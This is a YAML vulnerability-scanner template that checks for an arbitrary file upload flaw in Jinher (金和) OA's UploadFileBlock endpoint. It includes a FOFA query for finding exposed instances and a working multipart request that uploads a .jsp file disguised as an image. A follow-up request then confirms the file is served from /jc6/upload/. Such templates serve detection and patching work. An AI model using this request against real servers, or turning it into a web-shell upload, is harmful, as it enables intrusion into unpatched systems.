jinher-uploadfileblock-fileupload: 金和OA UploadFileBlock接口任意文件上传

id: jinher-uploadfileblock-fileupload

info:
  name: 金和OA UploadFileBlock接口任意文件上传
  author: zan8in
  severity: critical
  verified: true
  description: |-
    金和OA UploadFileBlock接口任意文件上传
    fofa: app="金和网络-金和OA"||body="/jc6/platform/sys/login"
  reference:
    - https://www.exploit-db.com/exploits/45732
  tags: jinher,fileupload,oa
  created: 2024/02/28

set:
  randstr: randomLowercase(6)
  randbody: randomLowercase(32)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /jc6/JHSoft.WCF/Attachment/UploadFileBlock
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"filename\";filename=\"{{randstr}}.jsp\"\r\n\
        Content-Type: image/jpeg\r\n\
        \r\n\
        {{randbody}}\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200 && response.body.bcontains(b'fileObj') && response.body.bcontains(b'realUrl')
  r1:
    request:
      method: GET
      path: /jc6/upload/{{randstr}}.jsp
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()

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